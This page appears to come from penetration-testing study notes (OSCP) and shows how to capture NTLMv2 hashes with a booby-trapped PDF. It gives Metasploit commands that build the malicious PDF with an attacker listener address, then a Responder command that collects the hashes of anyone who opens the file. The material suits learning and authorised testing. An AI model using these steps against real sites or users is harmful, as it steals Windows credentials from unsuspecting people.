> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/pdf-to-ntlmv2-hash.md).

# PDF to NTLMv2 hash

Especially useful when able to upload pdf files to site

### Generate Malicious PDF file

```bash
msfconsole
use auxiliary/fileformat/badpdf
set filename helloworld.pdf
set lhost 10.10.14.2
run
```

### Listen for NTLMv2 Hash

```bash
responder -I tun0
```